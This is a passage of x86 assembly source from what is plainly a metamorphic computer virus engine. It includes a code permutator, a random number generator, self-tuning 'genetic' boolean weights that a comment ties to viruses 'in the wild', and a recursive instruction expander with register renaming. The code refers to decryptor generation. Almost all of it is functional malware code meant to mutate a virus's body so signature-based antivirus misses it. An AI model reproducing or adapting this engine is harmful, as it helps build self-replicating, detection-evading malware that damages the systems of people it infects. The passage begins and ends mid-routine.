mov [edi+0Ch], edx ; Set pointer to old code
|
|
mov [edx+0Ch], edi ; Set pointer to new code
|
|
mov eax, [edi]
|
|
and eax, 0FFh ; NOP?
|
|
cmp eax, 0FFh
|
|
jz @@NextInstruction2
|
|
@@SetLastInstruction:
|
|
; mov eax, [edi] ; Save opcode for later
|
|
; and eax, 0FFh
|
|
mov [ebp+Permut_LastInstruction], eax
|
|
jmp @@NextInstruction3
|
|
@@NextInstruction2:
|
|
mov eax, [edi+0Bh] ; Label over a NOP?
|
|
and eax, 0FFh
|
|
or eax, eax ; If so, jump to fix the problem
|
|
jnz @@SetLastInstruction
|
|
@@NextInstruction3:
|
|
add edi, 10h ; Next instruction in the frame
|
|
add edx, 10h
|
|
cmp edx, ecx ; Last instruction in the frame?
|
|
jnz @@LoopCopyInstructions ; If not, loop to copy
|
|
mov eax, [ebp+AddressOfLastFrame] ; Check if it's the last
|
|
cmp ebx, eax ; frame of the code (not of
|
|
jae @@LastFrameArrived ; the table)
|
|
mov eax, [ebx] ; Get the frame in the table
|
|
cmp eax, edx ; Is it the same?
|
|
jz @@LoopTestIfLastFrame ; Check if it's the last frame
|
|
; of the permutation table
|
|
@@LastFrameArrived:
|
|
mov eax, [ebp+Permut_LastInstruction]
|
|
cmp eax, 0E9h ; JMP <label> opcode
|
|
jz @@LoopTestIfLastFrame
|
|
cmp eax, 0EBh ; JMP Mem opcode
|
|
jz @@LoopTestIfLastFrame
|
|
cmp eax, 0EDh ; JMP Reg opcode
|
|
jz @@LoopTestIfLastFrame
|
|
cmp eax, 0FEh ; RET
|
|
jz @@LoopTestIfLastFrame
|
|
mov [edi+1], edx ; Set the new label
|
|
@@InsertJump:
|
|
mov eax, 0E9h ; JMP opcode
|
|
mov [edi], al ; Set the JMP to the new label
|
|
; EDI = Jump to update
|
|
call InsertJumpInTable ; Insert it in the table for later
|
|
add edi, 10h ; Next instruction
|
|
@@LoopTestIfLastFrame:
|
|
mov eax, [ebp+AddressOfLastFrame] ; Are we in the end of
|
|
cmp ebx, eax ; the table?
|
|
jae @@End ; If so, end instruction copy
|
|
jmp @@LoopCopyFrame ; If not, jump to continue the copy
|
|
@@InsertJump2:
|
|
mov eax, [eax] ; Get the label
|
|
mov [edi+1], eax ; Put it as label (but later will
|
|
jmp @@InsertJump ; be substituted)
|
|
|
|
; Here we have all instructions copied, and all the labels and jumps
|
|
; to other blocks waiting to be updated
|
|
@@End: mov [ebp+AddressOfLastInstruction], edi
|
|
; Update last instruction address
|
|
mov ecx, [ebp+NumberOfLabels]
|
|
mov edx, [ebp+LabelTable]
|
|
@@LoopUpdateLabel:
|
|
mov eax, [edx+4] ; Pointer to old code
|
|
mov ebx, [eax+0Ch] ; New position (directly from the
|
|
; instruction)
|
|
mov [edx], ebx ; Set new pointer in label
|
|
add edx, 8
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopUpdateLabel ; Next entry
|
|
|
|
; Now we update the inserted permutation jumps
|
|
; EDX = Pointer to label insert point (from the code above)
|
|
mov ecx, [ebp+NumberOfJumps]
|
|
mov ebx, [ebp+JumpsTable]
|
|
jmp @@CheckNumberOfJumps
|
|
@@LoopUpdateJumps:
|
|
mov esi, [ebx] ; Jump address
|
|
mov eax, [esi+1] ; Get jump destination
|
|
mov edi, [eax+0Ch] ; Get new address
|
|
mov [edx], edi ; Label pointer to new code
|
|
mov [edx+4], eax ; Label pointer to old code
|
|
mov [esi+1], edx ; Set label in jump
|
|
mov eax, [ebp+NumberOfLabels]
|
|
add eax, 1
|
|
mov [ebp+NumberOfLabels], eax
|
|
add edx, 8 ; Next new label pointer
|
|
add ebx, 4 ; Next jump to update
|
|
sub ecx, 4
|
|
@@CheckNumberOfJumps:
|
|
or ecx, ecx
|
|
jnz @@LoopUpdateJumps
|
|
;; All is OK in this point
|
|
ret
|
|
PermutateCode endp
|
|
|
|
;; Little function to insert jumps in the table.
|
|
InsertJumpInTable proc
|
|
mov ecx, [ebp+NumberOfJumps]
|
|
mov edx, [ebp+JumpsTable]
|
|
add edx, ecx
|
|
mov [edx], edi
|
|
add ecx, 4
|
|
mov [ebp+NumberOfJumps], ecx
|
|
ret
|
|
InsertJumpInTable endp
|
|
|
|
;; Random number generator. It's used along the engine.
|
|
Random proc
|
|
push edx
|
|
push ecx
|
|
mov eax, [ebp+RndSeed1]
|
|
mov ecx, [ebp+RndSeed2]
|
|
add eax, ecx
|
|
call RandomMod1
|
|
xor eax, [ebp+RndSeed1]
|
|
mov [ebp+RndSeed1], eax
|
|
|
|
mov ecx, eax
|
|
mov eax, [ebp+RndSeed2]
|
|
add [ebp+RndSeed2], ecx
|
|
call RandomMod2
|
|
xor eax, [ebp+RndSeed2]
|
|
mov [ebp+RndSeed2], eax
|
|
xor eax, [ebp+RndSeed1]
|
|
call RandomMod2
|
|
pop ecx
|
|
pop edx
|
|
ret
|
|
Random endp
|
|
|
|
RandomMod1 proc
|
|
mov edx, eax
|
|
and edx, 1FFFh
|
|
shl edx, 13h
|
|
and eax, 0FFFFFE00h
|
|
shr eax, 0Dh
|
|
or eax, edx
|
|
add eax, ecx
|
|
ret
|
|
RandomMod1 endp
|
|
|
|
RandomMod2 proc
|
|
mov edx, eax
|
|
and edx, 1FFFFh
|
|
shl edx, 0Fh
|
|
and eax, 0FFFFE000h
|
|
shr eax, 11h
|
|
or eax, edx
|
|
add eax, ecx
|
|
ret
|
|
RandomMod2 endp
|
|
|
|
;; Other wide-used function. Returns TRUE or FALSE in EAX.
|
|
RandomBoolean proc
|
|
call Random
|
|
and eax, 1
|
|
ret
|
|
RandomBoolean endp
|
|
|
|
|
|
;; Booleans based on a little genetic algorithm. Each boolean is a
|
|
;; better-than-random number based on the previous random numbers generated
|
|
;; with these ones. The viruses that keep in the wild will have accurated
|
|
;; behaviours based on these weights.
|
|
RandomBoolean_X000_3 proc
|
|
push ebx
|
|
mov ebx, [ebp+Weight_X000_3]
|
|
call CheckForBooleanWeight
|
|
mov [ebp+Weight_X000_3], ebx
|
|
pop ebx
|
|
ret
|
|
RandomBoolean_X000_3 endp
|
|
|
|
RandomBoolean_X004_7 proc
|
|
push ebx
|
|
mov ebx, [ebp+Weight_X004_7]
|
|
call CheckForBooleanWeight
|
|
mov [ebp+Weight_X004_7], ebx
|
|
pop ebx
|
|
ret
|
|
RandomBoolean_X004_7 endp
|
|
|
|
RandomBoolean_X008_11 proc
|
|
push ebx
|
|
mov ebx, [ebp+Weight_X008_11]
|
|
call CheckForBooleanWeight
|
|
mov [ebp+Weight_X008_11], ebx
|
|
pop ebx
|
|
ret
|
|
RandomBoolean_X008_11 endp
|
|
|
|
RandomBoolean_X012_15 proc
|
|
push ebx
|
|
mov ebx, [ebp+Weight_X012_15]
|
|
call CheckForBooleanWeight
|
|
mov [ebp+Weight_X012_15], ebx
|
|
pop ebx
|
|
ret
|
|
RandomBoolean_X012_15 endp
|
|
|
|
RandomBoolean_X016_19 proc
|
|
push ebx
|
|
mov ebx, [ebp+Weight_X016_19]
|
|
call CheckForBooleanWeight
|
|
mov [ebp+Weight_X016_19], ebx
|
|
pop ebx
|
|
ret
|
|
RandomBoolean_X016_19 endp
|
|
|
|
RandomBoolean_X020_23 proc
|
|
push ebx
|
|
mov ebx, [ebp+Weight_X020_23]
|
|
call CheckForBooleanWeight
|
|
mov [ebp+Weight_X020_23], ebx
|
|
pop ebx
|
|
ret
|
|
RandomBoolean_X020_23 endp
|
|
|
|
;; Function to save code above.
|
|
CheckForBooleanWeight proc
|
|
push ecx
|
|
push edx
|
|
mov ecx, ebx ; Get the sub-weight to use
|
|
cmp eax, 1
|
|
jz @@Check1
|
|
cmp eax, 2
|
|
jz @@Check2
|
|
cmp eax, 3
|
|
jz @@Check3
|
|
@@Check0: and ecx, 0000000FFh
|
|
mov edx, 000000001h
|
|
jmp @@Shr00
|
|
@@Check1: and ecx, 00000FF00h
|
|
mov edx, 000000100h
|
|
jmp @@Shr08
|
|
@@Check2: and ecx, 000FF0000h
|
|
mov edx, 000010000h
|
|
jmp @@Shr10
|
|
@@Check3: and ecx, 0FF000000h
|
|
mov edx, 001000000h
|
|
|
|
@@Shr18: shr ecx, 8
|
|
@@Shr10: shr ecx, 8
|
|
@@Shr08: shr ecx, 8 ; Set it at the beginning of ECX
|
|
@@Shr00:
|
|
call Random ; Get a random number in range 0-255
|
|
and eax, 0FFh
|
|
cmp eax, ecx ; If it's above/equal the weight, jump
|
|
jae @@Above
|
|
@@Below: cmp ecx, 0F8h ; If it has already the max value, don't
|
|
jae @@Return0 ; touch the weight
|
|
call Random
|
|
and eax, 0Fh ; True-random modification (some randomness
|
|
or eax, eax ; in the life of viriis :)
|
|
jz @@Return0
|
|
add ebx, edx ; Make more probability to FALSE
|
|
add ecx, 1
|
|
call Random
|
|
and eax, 0Fh ; Again?
|
|
or eax, eax
|
|
jz @@Below
|
|
@@Return0: xor eax, eax
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
@@Above: cmp ecx, 08h ; If it has already the min value, don't
|
|
jb @@Return1 ; decrease the weight
|
|
call Random
|
|
and eax, 0Fh ; Randomness
|
|
or eax, eax
|
|
jz @@Return1
|
|
sub ebx, edx ; Make more probability to TRUE
|
|
sub ecx, 1
|
|
call Random
|
|
and eax, 0Fh ; Again?
|
|
or eax, eax
|
|
jz @@Above
|
|
@@Return1: mov eax, 1
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
CheckForBooleanWeight endp
|
|
;;
|
|
;;
|
|
;; End of permutator.
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
;; KEYWORD: Key_!Xpander
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;; ********************************************************************** ;;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; The expander
|
|
;; ------------
|
|
;;
|
|
;; This routine expands a shrinked pseudo-asm code previously shrinked with
|
|
;; the shrinker module. It's more easy to expand here following the
|
|
;; single/pairs/triplets rules than encoding it directly in x86 asm.
|
|
;;
|
|
;; The rules of expansion are exactly the opposite ones that we use for
|
|
;; compression. For example:
|
|
;;
|
|
;; MOV [Mem],Reg
|
|
;; MOV Reg2,[Mem] ---> MOV Reg2,Reg
|
|
;;
|
|
;; but also:
|
|
;;
|
|
;; PUSH Reg
|
|
;; POP Reg2 ---> MOV Reg2,Reg
|
|
;;
|
|
;; Then the expansion rule for MOV Reg2,Reg will be:
|
|
;;
|
|
;; MOV Reg2,Reg ---> MOV [Mem],Reg + MOV Reg2,[Mem]
|
|
;; ---> PUSH Reg + POP Reg2
|
|
;;
|
|
;; where we select randomly one of the possible expansions.
|
|
;;
|
|
;; All the expansions are performed recursively, so every instruction involved
|
|
;; in an expansion will be expanded also, until we reach a recursivity level
|
|
;; specified in the variable [SizeOfExpansion] (from X to 3).
|
|
;;
|
|
|
|
XpandCode proc
|
|
mov esi, [ebp+InstructionTable] ; Source of expansion
|
|
mov edi, [ebp+ExpansionResult] ; Destiny of expansion
|
|
|
|
;; Let's get the register translation. We must have present that DeltaReg
|
|
;; cannot be EAX, ECX or EDX (due to API calls). Due to the usage of 8
|
|
;; bits registers, we saved the used 8 bits register while shrinking code,
|
|
;; so we must select that register first from one of the 4 first ones.
|
|
|
|
mov eax, [ebp+SizeOfExpansion]
|
|
mov [ebp+Xp_RecurseLevel], eax ; Set the initial
|
|
; recursivity level
|
|
|
|
mov eax, [ebp+CreatingADecryptor] ; If we are creating
|
|
or eax, eax ; a decryptor, keep the
|
|
jnz @@KeepRegisterTranslation ; current register translation
|
|
|
|
mov eax, 8
|
|
mov [ebp+Xp_Register0], eax ; Initialize the registers
|
|
mov [ebp+Xp_Register1], eax
|
|
mov [ebp+Xp_Register2], eax
|
|
mov [ebp+Xp_Register3], eax
|
|
mov [ebp+Xp_Register5], eax
|
|
mov [ebp+Xp_Register6], eax
|
|
mov [ebp+Xp_Register7], eax
|
|
mov eax, 4
|
|
mov [ebp+Xp_Register4], eax ; Set the ESP
|
|
@@Other8BitsReg:
|
|
call Random
|
|
and eax, 7
|
|
cmp eax, 3 ; Get a 8 bits register
|
|
ja @@Other8BitsReg
|
|
mov ebx, [ebp+Register8Bits] ; Get the saved register
|
|
call Xpand_SetRegister4Xlation ; Set the translation
|
|
@@OtherDeltaReg:
|
|
call Random ; Get a register
|
|
and eax, 7
|
|
cmp eax, 2 ; EAX, ECX or EDX?
|
|
jbe @@OtherDeltaReg ; If so, select another
|
|
cmp eax, 4 ; ESP?
|
|
jz @@OtherDeltaReg ; Then, select another
|
|
mov ebx, [ebp+DeltaRegister]
|
|
call Xpand_SetRegister4Xlation ; Set the register
|
|
or eax, eax
|
|
jz @@OtherDeltaReg ; Other if it coincides with Reg8
|
|
mov ebx, -1 ; Set EBX = 0 at first
|
|
@@NextRegister:
|
|
add ebx, 1
|
|
cmp ebx, [ebp+DeltaRegister] ; EBX = DeltaRegister?
|
|
jz @@NextRegister
|
|
cmp ebx, [ebp+Register8Bits] ; EBX = Register8Bits?
|
|
jz @@NextRegister
|
|
cmp ebx, 4 ; ESP?
|
|
jz @@NextRegister
|
|
cmp ebx, 8 ; End of loop?
|
|
jz @@EndOfRegisters
|
|
@@OtherRegister:
|
|
call Random ; Get a register
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@OtherRegister
|
|
call Xpand_SetRegister4Xlation ; Try to set the register
|
|
or eax, eax
|
|
jz @@OtherRegister ; If it's set in another one, select
|
|
jmp @@NextRegister ; another
|
|
@@EndOfRegisters:
|
|
mov eax, [ebp+DeltaRegister] ; Get the Delta Register
|
|
call Xpand_TranslateRegister ; Translate it
|
|
mov [ebp+TranslatedDeltaRegister], eax ; Save it
|
|
@@KeepRegisterTranslation:
|
|
|
|
@@Expand: ; mov eax, [esi]
|
|
call XpandThisInstruction ; Call to expand the current
|
|
add esi, 10h ; instruction
|
|
cmp esi, [ebp+AddressOfLastInstruction] ; Is it the last?
|
|
jnz @@Expand ; If not, continue
|
|
mov [ebp+AddressOfLastInstruction], edi
|
|
call Xpand_UpdateLabels ; Update the labels along the
|
|
ret ; code and finish
|
|
XpandCode endp
|
|
|
|
|
|
;; This function checks if the register passed at EAX exists in any other
|
|
;; variable of register translation (i.e. if any other register is translated
|
|
;; to that one). If it is, it returns with EAX = 0. If not, sets the number
|
|
;; of register in EAX in the register translation variable of the register
|
|
;; EBX, and returns with EAX = 1.
|
|
Xpand_SetRegister4Xlation proc
|
|
cmp eax, [ebp+Xp_Register0] ; Check if the register in
|
|
jz @@ReturnError ; EAX is used by other
|
|
cmp eax, [ebp+Xp_Register1] ; register to be translated
|
|
jz @@ReturnError ; as that one.
|
|
cmp eax, [ebp+Xp_Register2]
|
|
jz @@ReturnError ; If so, return with EAX = 0
|
|
cmp eax, [ebp+Xp_Register3]
|
|
jz @@ReturnError
|
|
cmp eax, [ebp+Xp_Register5]
|
|
jz @@ReturnError
|
|
cmp eax, [ebp+Xp_Register6]
|
|
jz @@ReturnError
|
|
cmp eax, [ebp+Xp_Register7]
|
|
jz @@ReturnError
|
|
or ebx, ebx ; Jump to the corresponding variable
|
|
jz @@SetAt0 ; setting to translate the register in
|
|
cmp ebx, 1 ; EBX.
|
|
jz @@SetAt1
|
|
cmp ebx, 2
|
|
jz @@SetAt2
|
|
cmp ebx, 3
|
|
jz @@SetAt3
|
|
cmp ebx, 5
|
|
jz @@SetAt5
|
|
cmp ebx, 6
|
|
jz @@SetAt6
|
|
@@SetAt7: mov [ebp+Xp_Register7], eax ; Set for the register EBX
|
|
jmp @@ReturnNoError ; the translation in EAX.
|
|
@@SetAt0: mov [ebp+Xp_Register0], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt1: mov [ebp+Xp_Register1], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt2: mov [ebp+Xp_Register2], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt3: mov [ebp+Xp_Register3], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt5: mov [ebp+Xp_Register5], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt6: mov [ebp+Xp_Register6], eax
|
|
jmp @@ReturnNoError
|
|
@@ReturnError:
|
|
xor eax, eax ; Return with FALSE if error
|
|
ret
|
|
@@ReturnNoError:
|
|
mov eax, 1 ; Return with TRUE if all OK
|
|
ret
|
|
Xpand_SetRegister4Xlation endp
|
|
|
|
|
|
;; This function will translate the register in EAX by the corresponding
|
|
;; new register, also in EAX.
|
|
Xpand_TranslateRegister proc
|
|
or eax, eax ; Jump to the corresponding variable usage.
|
|
jz @@Get0
|
|
cmp eax, 1
|
|
jz @@Get1
|
|
cmp eax, 2
|
|
jz @@Get2
|
|
cmp eax, 3
|
|
jz @@Get3
|
|
cmp eax, 4
|
|
jz @@Return ; Return ESP for ESP (no translation).
|
|
cmp eax, 5
|
|
jz @@Get5
|
|
cmp eax, 6
|
|
jz @@Get6
|
|
cmp eax, 7
|
|
jz @@Get7
|
|
mov eax, 8 ; If the register is >= 8, return 8.
|
|
ret
|
|
@@Get7: mov eax, [ebp+Xp_Register7] ; Get the translation and
|
|
ret ; return.
|
|
@@Get0: mov eax, [ebp+Xp_Register0]
|
|
ret
|
|
@@Get1: mov eax, [ebp+Xp_Register1]
|
|
ret
|
|
@@Get2: mov eax, [ebp+Xp_Register2]
|
|
ret
|
|
@@Get3: mov eax, [ebp+Xp_Register3]
|
|
ret
|
|
@@Get5: mov eax, [ebp+Xp_Register5]
|
|
ret
|
|
@@Get6: mov eax, [ebp+Xp_Register6]
|
|
@@Return: ret
|
|
Xpand_TranslateRegister endp
|
|
|
|
;; This function returns the register in reverse translation, it means, the
|
|
;; register that the register in EAX is translated to. It's the inversed
|
|
;; operation that performs Xpand_TranslateRegister, so if we get a register,
|
|
;; we translate it with Xpand_TranslateRegister and we pass the result to
|
|
;; this function, we'll get the original register. This function is useful
|
|
;; to know which register we must use before the expansion when we want a
|
|
;; specific register in the expanded result.
|
|
Xpand_ReverseTranslation proc
|
|
cmp eax, 4
|
|
jz @@Return ; Find the register in the register
|
|
cmp eax, [ebp+Xp_Register0] ; translation variables
|
|
jz @@Return0
|
|
cmp eax, [ebp+Xp_Register1]
|
|
jz @@Return1
|
|
cmp eax, [ebp+Xp_Register2]
|
|
jz @@Return2
|
|
cmp eax, [ebp+Xp_Register3]
|
|
jz @@Return3
|
|
cmp eax, [ebp+Xp_Register5]
|
|
jz @@Return5
|
|
cmp eax, [ebp+Xp_Register6]
|
|
jz @@Return6
|
|
cmp eax, [ebp+Xp_Register7]
|
|
jz @@Return7
|
|
mov eax, 8
|
|
@@Return: ret ; When we find it, return the number
|
|
@@Return0: xor eax, eax ; of register that uses that variable
|
|
ret ; for translating itself.
|
|
@@Return1: mov eax, 1
|
|
ret
|
|
@@Return2: mov eax, 2
|
|
ret
|
|
@@Return3: mov eax, 3
|
|
ret
|
|
@@Return5: mov eax, 5
|
|
ret
|
|
@@Return6: mov eax, 6
|
|
ret
|
|
@@Return7: mov eax, 7
|
|
ret
|
|
Xpand_ReverseTranslation endp
|
|
|
|
;; To make a real metamorphism we have a way of coding every instruction, in
|
|
;; both instruction expansion and reassembling. So, we check all the possible
|
|
;; pseudo-opcodes and we make a formula for them. The formulas used here must
|
|
;; be recognized by the shrinker.
|
|
XpandThisInstruction proc
|
|
mov eax, [esi+0Bh] ; Get the label
|
|
mov [edi+0Bh], eax ; Copy it
|
|
mov [edi+0Ch], esi ; Set the new pointers
|
|
mov [esi+0Ch], edi
|
|
xor eax, eax
|
|
mov al, [esi] ; Get the opcode
|
|
|
|
cmp eax, 4Ch ; Generic 32 bits operation?
|
|
ja @@Xpand_Next001 ; If not, jump
|
|
xor eax, eax
|
|
@@Generic: mov [ebp+Xp_8Bits], eax ; Set the 8 bits flag (0 or 80h)
|
|
mov eax, [esi]
|
|
and eax, 78h ; Get the operation
|
|
mov [ebp+Xp_Operation], eax ; Set it
|
|
mov eax, [esi] ; Get the type of operation
|
|
and eax, 7
|
|
or eax, eax ; OP Reg,Imm?
|
|
jz @@OPRegImm
|
|
cmp eax, 1 ; OP Reg,Reg?
|
|
jz @@OPRegReg
|
|
cmp eax, 2 ; OP Reg,Mem?
|
|
jz @@OPRegMem
|
|
cmp eax, 3 ; OP Mem,Reg?
|
|
jz @@OPMemReg
|
|
@@OPMemImm: ; OP Mem,Imm
|
|
mov eax, [ebp+Xp_8Bits] ; Get the 8 bits flag
|
|
or eax, eax ; If 0, jump
|
|
jz @@OPMemImm32
|
|
mov eax, [esi+7] ; Get the Imm
|
|
and eax, 0FFh ; Extend the sign
|
|
cmp eax, 7Fh
|
|
jbe @@OPMemImmSet
|
|
or eax, 0FFFFFF00h
|
|
jmp @@OPMemImmSet ; Set the value
|
|
@@OPMemImm32:
|
|
mov eax, [esi+7] ; Get the normal value if 32 bits
|
|
@@OPMemImmSet:
|
|
mov [ebp+Xp_Immediate], eax ; Set the immediate
|
|
call Xpand_SetMemoryAddress ; Copy the mem. address ref.
|
|
; (translating the indexes also)
|
|
call Xp_GenOPMemImm ; Generate an OP Mem,Imm
|
|
jmp @@Ret
|
|
@@OPRegImm:
|
|
mov eax, [ebp+Xp_8Bits] ; Extend the sign for 8 bits
|
|
or eax, eax ; operations
|
|
jz @@OPRegImm32
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@OPRegImmSet
|
|
or eax, 0FFFFFF00h
|
|
jmp @@OPRegImmSet
|
|
@@OPRegImm32:
|
|
mov eax, [esi+7]
|
|
@@OPRegImmSet:
|
|
mov [ebp+Xp_Immediate], eax ; Set the immediate
|
|
mov eax, [esi+1] ; Get the register
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister ; Translate it to the new one
|
|
mov [ebp+Xp_Register], eax ; Set it
|
|
call Xp_GenOPRegImm ; Generate an OP Reg,Imm
|
|
jmp @@Ret
|
|
@@OPRegReg:
|
|
mov eax, [esi+1] ; Get the source register
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister ; Translate it and set it
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
mov eax, [esi+7] ; Get the destiny register
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister ; Translate it and set it
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPRegReg ; Generate an OP Reg,Reg
|
|
jmp @@Ret
|
|
@@OPRegMem:
|
|
call Xpand_SetMemoryAddress ; Copy the memory address
|
|
mov eax, [esi+7] ; (with indexes translation)
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister ; Translate the destiny reg.
|
|
mov [ebp+Xp_Register], eax ; Set it
|
|
call Xp_GenOPRegMem ; Generate an OP Reg,Mem
|
|
jmp @@Ret
|
|
@@OPMemReg:
|
|
call Xpand_SetMemoryAddress ; Copy the memory address
|
|
mov eax, [esi+7] ; (with indexes translation)
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister ; Translate the source reg.
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPMemReg ; Generate an OP Mem,Reg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next001:
|
|
cmp eax, 00h+80h ; Get if it's a 8 bits generic
|
|
jb @@Xpand_Next002 ; operation
|
|
cmp eax, 4Ch+80h
|
|
ja @@Xpand_Next002
|
|
mov eax, 80h ; If it is, set "8 bits usage"
|
|
jmp @@Generic ; (value 80h in [Xp_8Bits]) and
|
|
; jump to make the operation
|
|
|
|
@@Xpand_Next002:
|
|
cmp eax, 50h ; PUSH Reg?
|
|
jnz @@Xpand_Next003
|
|
mov eax, [esi+1] ; Then, translate the register
|
|
and eax, 0FFh ; and set it in the
|
|
call Xpand_TranslateRegister ; corresponding field
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPUSHReg ; Generate a PUSH Reg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next003:
|
|
cmp eax, 51h ; PUSH Mem?
|
|
jnz @@Xpand_Next004
|
|
call Xpand_SetMemoryAddress ; Then, set the memory address
|
|
xor eax, eax ; (with index translation),
|
|
mov [ebp+Xp_8Bits], eax ; clear the "8 bits" flag and
|
|
call Xp_GenPUSHMem ; generate the PUSH Mem.
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next004:
|
|
cmp eax, 58h ; POP Reg?
|
|
jnz @@Xpand_Next005
|
|
mov eax, [esi+1] ; Translate the register, set
|
|
and eax, 0FFh ; it into the working field
|
|
call Xpand_TranslateRegister ; and generate a POP Reg
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPOPReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next005:
|
|
cmp eax, 59h ; POP Mem?
|
|
jnz @@Xpand_Next006
|
|
call Xpand_SetMemoryAddress ; Then, copy the memory address
|
|
xor eax, eax ; with index translation, clear
|
|
mov [ebp+Xp_8Bits], eax ; the "8 bits" flag and call
|
|
call Xp_GenPOPMem ; the function to generate a
|
|
jmp @@Ret ; POP Mem.
|
|
|
|
@@Xpand_Next006:
|
|
cmp eax, 68h ; PUSH Imm?
|
|
jnz @@Xpand_Next007
|
|
mov eax, [esi+7] ; Set the immediate
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenPUSHImm ; Generate a PUSH Imm
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next007:
|
|
cmp eax, 70h ; Jcc?
|
|
jb @@Xpand_Next008
|
|
cmp eax, 7Fh
|
|
ja @@Xpand_Next008
|
|
mov [ebp+Xp_Operation], eax ; Set the type of conditional
|
|
mov eax, [esi+1] ; jump in the operation field
|
|
mov [ebp+Xp_Immediate], eax ; and the label in the
|
|
call Xp_GenJcc ; Imm field, and generate it.
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next008:
|
|
cmp eax, 0E0h ; NOT Reg?
|
|
jnz @@Xpand_Next009
|
|
call Xpand_SetRegister ; Then, translate and set the
|
|
call Xp_GenNOTReg ; 32 bits register and generate
|
|
jmp @@Ret ; a NOT Reg
|
|
|
|
@@Xpand_Next009:
|
|
cmp eax, 0E1h ; NOT Mem?
|
|
jnz @@Xpand_Next010
|
|
call Xpand_SetMemoryAddress ; Then, copy and translate the
|
|
xor eax, eax ; memory address and indexes,
|
|
mov [ebp+Xp_8Bits], eax ; set "32 bits usage" and
|
|
call Xp_GenNOTMem ; generate a NOT Mem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next010:
|
|
cmp eax, 0E2h ; NOT Reg8?
|
|
jnz @@Xpand_Next011
|
|
call Xpand_Set8BitsRegister ; Then, translate and set the
|
|
call Xp_GenNOTReg ; 8 bits register and generate
|
|
jmp @@Ret ; a NOT Reg8
|
|
|
|
@@Xpand_Next011:
|
|
cmp eax, 0E3h ; The same as with E1 (NOT Mem)
|
|
jnz @@Xpand_Next012 ; but with 8 bits operands.
|
|
call Xpand_SetMemoryAddress
|
|
mov eax, 80h
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenNOTMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next012:
|
|
cmp eax, 0E4h ; NEG Reg?
|
|
jnz @@Xpand_Next013
|
|
call Xpand_SetRegister ; Then, translate the register,
|
|
call Xp_GenNEGReg ; set it and generate the op.
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next013:
|
|
cmp eax, 0E5h ; NEG Mem?
|
|
jnz @@Xpand_Next014
|
|
call Xpand_SetMemoryAddress ; Copy the address, translate
|
|
xor eax, eax ; the indexes, set "32 bits"
|
|
mov [ebp+Xp_8Bits], eax ; flag and generate the instrc.
|
|
call Xp_GenNEGMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next014:
|
|
cmp eax, 0E6h ; NEG Reg8?
|
|
jnz @@Xpand_Next015
|
|
call Xpand_Set8BitsRegister ; Then do the same as with
|
|
call Xp_GenNEGReg ; E4 (NEG Reg) but with 8 bits
|
|
jmp @@Ret ; operands
|
|
|
|
@@Xpand_Next015:
|
|
cmp eax, 0E7h ; NEG Mem8?
|
|
jnz @@Xpand_Next016
|
|
call Xpand_SetMemoryAddress ; Then do the same as with E5
|
|
mov eax, 80h ; (NEG Mem) but with a 8 bits
|
|
mov [ebp+Xp_8Bits], eax ; memory address.
|
|
call Xp_GenNEGMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next016:
|
|
cmp eax, 0E8h ; CALL @xxx?
|
|
jnz @@Xpand_Next017
|
|
@@CopyInstruction:
|
|
mov eax, [esi] ; Then copy the instruction.
|
|
mov [edi], eax ; It's one of the very few that
|
|
mov eax, [esi+4] ; haven't a translation.
|
|
mov [edi+4], eax
|
|
mov eax, [esi+7]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next017:
|
|
cmp eax, 0E9h ; JMP @xxx?
|
|
jnz @@Xpand_Next018
|
|
mov eax, [esi+1] ; Get the label, set it in the
|
|
mov [ebp+Xp_Immediate], eax ; work field and generate the
|
|
call Xp_GenJMP ; JMP instruction.
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next018:
|
|
cmp eax, 0EAh ; CALL Mem?
|
|
jnz @@Xpand_Next019
|
|
xor eax, eax ; Set "32 bits" usage
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xpand_SetMemoryAddress ; Translate indexes and copy
|
|
; the operands
|
|
call Xp_GenCALLMem ; Generate a CALL Mem
|
|
